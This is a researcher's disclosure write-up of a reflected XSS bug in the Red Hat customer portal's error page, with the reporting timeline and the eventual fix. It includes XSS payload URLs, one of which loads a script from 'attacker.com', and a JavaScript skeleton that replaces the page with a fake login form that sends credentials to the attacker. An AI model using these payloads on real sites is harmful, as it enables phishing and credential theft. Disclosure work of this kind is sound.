The generic error page of the Red Hat customer portal suffers from a Cross-Site Scripting vulnerability to steal users credential in plaintext.
Introduction
As part of my personal projects, as during my professional activity, it is not uncommon that I sign on RedHat sites to download resources (or find solutions to more or less twisted bugs :)) . It’s during a simple research that I reached an error page by following a link to a subject in the RedHat support… And this page included one GET parameter vulnerable to XSS injection.
Red Hat, Inc. is an American multinational software company providing open-source software products to the enterprise community. Red Hat has become associated to a large extent with its enterprise operating system Red Hat Enterprise Linux and with the acquisition of open-source enterprise middleware vendor JBoss. Red Hat provides storage, operating system platforms, middleware, applications, management products, and support, training, and consulting services.
Red Hat creates, maintains, and contributes to many free software projects. It has acquired several proprietary software product codebases through corporate mergers and acquisitions and has released such software under open source licenses. As of June 2013, Red Hat is the largest corporate contributor to Linux.
RedHat has a website dedicated to its customers (including support). This is accessible via “access.redhat.com”. The generic error page when accidentally followed a wrong link suffers from an XSS reflection.
Analysis and exploitation
Canonical alert() RXSS
The reflected GET parameter “uri” is located here :
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/)" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
This parameter was not filtered nor cleaned before being injected into the source code of the page :
Canonical alert() RXSS RedHat
At the source, no verification of the value of the parameter “uri” is performed:
RedHat RXSS source-code
Designing an exploitation payload
In this case, the RXSS is located on a sub-domain of interest (the customer portal access.redhat.com) but to simulate an authentication target, it is necessary to reset the DOM of the page.
The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS – HSTS protocol) and change the browser victims’s DOM.
Such payload can do these operations :
- Delete the entire content visible in the browser
- Recreating a full page (through DOM) arbitrarily, according to the attacker. The creation of a strictly similar page to the official authentication page would be a wise choice.
RedHat has a centralized authentication page (IdP): https://idp.redhat.com
Legitimate IdP of RedHat
The idea will be to clone the source code of this page (HTML / JS / CSS) for rewriting on the fly in the context of “access.redhat.com” where our XSS operates.
Unlike the official page of the IdP, it will be slightly modified to transmit unencrypted usernames and passwords entered by potential victims to attacker (as a demo).
To carry out the operating PoC, simulating the official IdP and changing the behavior of the form, the attacker can use the following JS file:
// Delete all current DOM (<head>, <body>, <style>, etc...)
document.documentElement.innerHTML = '';
function heredoc (f) {
return f.toString().match(/\/\*\s*([\s\S]*?)\s*\*\//m)[1].replace(/(\/\*[\s\S]*?\*) \//g, '$1/');
};
var content = heredoc(function() {/*
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="" />
[...] Source code of the RedHat IdP modified to grab user's credential [...]
</html>
*/});
setTimeout('document.write(content)', 1000);
Once this file hosted on “https://attacker.com/x.js” and then loaded in the browser of a victim visiting “access.redhat.com” the following changes result occur:
- Any current page (DOM) is emptied instantly
- The DOM is recreated to display a page identical to the legitimate IdP RedHat
- The authentication form of this fake-IdP is modified to send logins / passwords in plaintext to the attacker
- For the victim, besides an additional authentication time of one second, no change is visible.
The third-party file is loaded into the DOM of a victim via an URL like this one:
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="var s%3Ddocument.createElement('script')%3Bs.setAttribute('src','https://attacker.com/x.js')%3Bdocument.getElementsByTagName('head').item(0).appendChild(s)%3B" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
Fake-IdP displayed in “access.redhat.com” context :
Fake-IdP created in the DOM
Exploitation and demonstration
To illustrate the use of this technic to the RedHat’s teams , here’s a demonstration video of the full attack scenario. An attacker could start a phishing campaign / spear-phishing from the exploitation of the vulnerable URL. He can target sysadmins / DSI / Corporate CISO with a RedHat access and therefore steal their credentials.
Notification and conclusion
RedHat teams were alerted November 4, 2015 with details of the canonical XSS. Following a reply dated 09.11.2015 and thanks, was followed by several technical exchanges about the process of reproduction of vulnerability.
On 16 January 2016, I sent an email to get a status about the identification of vulnerability and its patch. Two days later, Jiri replied that the vulnerability had been identified but had not yet been corrected.
March 17 2016 vulnerability still exists. I start designing a PoC illustrating the criticity of the vulnerability (above demo video). It’s always more clear to decision makers a visual demonstration of the impact of a vulnerability rather than a simple “alert() JavaScript”. I had opted for this kind of responsible disclosure with Fortinet by the past.
The next day, I get a feedback with thanks about this “great PoC”. The fix is being tested.
I check April 25, 2016 if the vulnerability is always present and it seems corrected! I send message to Jiri for confirmation. This satisfies me 27 April 2016 confirming the fix and ask my personal details for acknowledgment.
After a few months of exchanges, I want to thank Jiri for his kindness, his interest and rapid response to all the exchanges that we had ;)!
Also thank you for the acknowledgement by the way!
RedHat acknowledgement
Sources & resources :
